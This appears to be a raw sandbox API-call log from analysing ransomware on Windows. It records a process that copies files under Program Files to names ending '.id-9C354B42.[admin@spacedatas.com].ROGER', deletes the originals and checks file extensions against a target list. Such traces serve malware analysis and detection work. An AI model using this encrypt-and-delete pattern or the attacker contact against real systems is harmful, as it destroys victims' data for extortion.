(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.920] GetLastError () returned 0x0 [0049.921] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x623, lpOverlapped=0x0) returned 1 [0049.924] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x630, lpOverlapped=0x0) returned 1 [0049.925] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.925] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.925] SetEndOfFile (hFile=0x3e8) returned 1 [0049.925] CloseHandle (hObject=0x3e8) returned 1 [0049.926] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.926] SetEndOfFile (hFile=0x3a0) returned 1 [0049.926] CloseHandle (hObject=0x3a0) returned 1 [0049.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.927] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.927] lstrlenW (lpString=".doc") returned 4 [0049.927] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.927] lstrlenW (lpString=".docx") returned 5 [0049.927] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.927] lstrlenW (lpString=".pdf") returned 4 [0049.927] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.927] lstrlenW (lpString=".xls") returned 4 [0049.927] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.927] lstrlenW (lpString=".xlsx") returned 5 [0049.927] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.927] lstrlenW (lpString=".ppt") returned 4 [0049.927] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.927] lstrlenW (lpString=".zip") returned 4 [0049.927] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.927] lstrlenW (lpString=".rar") returned 4 [0049.927] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.927] lstrlenW (lpString=".bz2") returned 4 [0049.927] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.927] lstrlenW (lpString=".7z") returned 3 [0049.928] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString=".dbf") returned 4 [0049.928] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString=".1cd") returned 4 [0049.928] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString=".jpg") returned 4 [0049.928] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString=".doc") returned 4 [0049.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.928] lstrlenW (lpString=".docx") returned 5 [0049.928] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.928] lstrlenW (lpString=".pdf") returned 4 [0049.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString=".xls") returned 4 [0049.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString=".xlsx") returned 5 [0049.928] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.928] lstrlenW (lpString=".ppt") returned 4 [0049.928] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.928] lstrlenW (lpString=".zip") returned 4 [0049.928] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString=".rar") returned 4 [0049.928] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.928] lstrlenW (lpString=".bz2") returned 4 [0049.928] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.929] lstrlenW (lpString=".7z") returned 3 [0049.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.929] lstrlenW (lpString=".dbf") returned 4 [0049.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.929] lstrlenW (lpString=".1cd") returned 4 [0049.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0049.929] lstrlenW (lpString=".jpg") returned 4 [0049.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.929] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.929] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.933] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=30170) returned 1 [0049.933] CloseHandle (hObject=0x3a0) returned 1 [0049.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0049.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0049.934] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.934] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0049.934] GetLastError () returned 0x0 [0049.934] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x75da, lpOverlapped=0x0) returned 1 [0050.180] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0050.183] ReadFile (in: hFile=0x3a0, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.183] WriteFile (in: hFile=0x3e8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.183] SetEndOfFile (hFile=0x3e8) returned 1 [0050.183] CloseHandle (hObject=0x3e8) returned 1 [0050.183] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.183] SetEndOfFile (hFile=0x3a0) returned 1 [0050.185] CloseHandle (hObject=0x3a0) returned 1 [0050.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0050.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0050.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.185] lstrlenW (lpString=".doc") returned 4 [0050.185] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.185] lstrlenW (lpString=".docx") returned 5 [0050.185] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.185] lstrlenW (lpString=".pdf") returned 4 [0050.185] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.185] lstrlenW (lpString=".xls") returned 4 [0050.185] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.185] lstrlenW (lpString=".xlsx") returned 5 [0050.185] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.185] lstrlenW (lpString=".ppt") returned 4 [0050.186] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString=".zip") returned 4 [0050.186] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.186] lstrlenW (lpString=".rar") returned 4 [0050.186] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.186] lstrlenW (lpString=".bz2") returned 4 [0050.186] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString=".7z") returned 3 [0050.186] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString=".dbf") returned 4 [0050.186] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString=".1cd") returned 4 [0050.186] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString=".jpg") returned 4 [0050.186] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.186] lstrlenW (lpString=".doc") returned 4 [0050.186] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString=".docx") returned 5 [0050.186] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.186] lstrlenW (lpString=".pdf") returned 4 [0050.186] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.186] lstrlenW (lpString=".xls") returned 4 [0050.186] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.186] lstrlenW (lpString=".xlsx") returned 5 [0050.187] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.187] lstrlenW (lpString=".ppt") returned 4 [0050.187] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.187] lstrlenW (lpString=".zip") returned 4 [0050.187] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.187] lstrlenW (lpString=".rar") returned 4 [0050.187] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.187] lstrlenW (lpString=".bz2") returned 4 [0050.187] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.187] lstrlenW (lpString=".7z") returned 3 [0050.187] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.187] lstrlenW (lpString=".dbf") returned 4 [0050.187] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.187] lstrlenW (lpString=".1cd") returned 4 [0050.187] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0050.187] lstrlenW (lpString=".jpg") returned 4 [0050.187] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.187] lstrcmpiW (lpString1=".bmp", lpString2=".ROGER") returned -1 [0050.187] lstrlenW (lpString="verisign.bmp") returned 12 [0050.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0050.326] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2702) returned 1 [0050.326] CloseHandle (hObject=0x3dc) returned 1 [0050.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0050.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0050.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.326] lstrlenW (lpString=".doc") returned 4 [0050.326] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0050.326] lstrlenW (lpString=".docx") returned 5 [0050.326] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0050.326] lstrlenW (lpString=".pdf") returned 4 [0050.326] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0050.326] lstrlenW (lpString=".xls") returned 4 [0050.326] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0050.326] lstrlenW (lpString=".xlsx") returned 5 [0050.326] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0050.326] lstrlenW (lpString=".ppt") returned 4 [0050.326] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString=".zip") returned 4 [0050.327] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".rar") returned 4 [0050.327] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".bz2") returned 4 [0050.327] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".7z") returned 3 [0050.327] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString=".dbf") returned 4 [0050.327] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString=".1cd") returned 4 [0050.327] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString=".jpg") returned 4 [0050.327] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.327] lstrlenW (lpString=".doc") returned 4 [0050.327] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".docx") returned 5 [0050.327] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0050.327] lstrlenW (lpString=".pdf") returned 4 [0050.327] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".xls") returned 4 [0050.327] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0050.327] lstrlenW (lpString=".xlsx") returned 5 [0050.327] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0050.327] lstrlenW (lpString=".ppt") returned 4 [0050.327] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0050.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.328] lstrlenW (lpString=".zip") returned 4 [0050.328] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0050.328] lstrlenW (lpString=".rar") returned 4 [0050.328] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0050.328] lstrlenW (lpString=".bz2") returned 4 [0050.328] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0050.328] lstrlenW (lpString=".7z") returned 3 [0050.328] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0050.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.328] lstrlenW (lpString=".dbf") returned 4 [0050.328] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0050.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.328] lstrlenW (lpString=".1cd") returned 4 [0050.328] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0050.328] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0050.328] lstrlenW (lpString=".jpg") returned 4 [0050.328] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0050.328] lstrcmpiW (lpString1=".png", lpString2=".ROGER") returned -1 [0050.328] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0050.328] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0051.004] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=3286) returned 1 [0051.004] CloseHandle (hObject=0x340) returned 1 [0051.004] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0051.004] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0051.004] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.004] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.004] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.004] lstrlenW (lpString=".doc") returned 4 [0051.004] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString=".docx") returned 5 [0051.005] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.005] lstrlenW (lpString=".pdf") returned 4 [0051.005] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString=".xls") returned 4 [0051.005] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.005] lstrlenW (lpString=".xlsx") returned 5 [0051.005] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.005] lstrlenW (lpString=".ppt") returned 4 [0051.005] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString=".zip") returned 4 [0051.005] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.005] lstrlenW (lpString=".rar") returned 4 [0051.005] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.005] lstrlenW (lpString=".bz2") returned 4 [0051.005] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString=".7z") returned 3 [0051.005] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString=".dbf") returned 4 [0051.005] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString=".1cd") returned 4 [0051.005] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString=".jpg") returned 4 [0051.005] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.005] lstrlenW (lpString=".doc") returned 4 [0051.005] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0051.006] lstrlenW (lpString=".docx") returned 5 [0051.006] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0051.006] lstrlenW (lpString=".pdf") returned 4 [0051.006] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0051.006] lstrlenW (lpString=".xls") returned 4 [0051.006] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0051.006] lstrlenW (lpString=".xlsx") returned 5 [0051.006] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0051.006] lstrlenW (lpString=".ppt") returned 4 [0051.006] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0051.006] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0051.006] lstrlenW (lpString=".zip") returned 4 [0051.006] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0051.006] lstrlenW (lpString=".rar") returned 4 [0051.006] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0051.006] 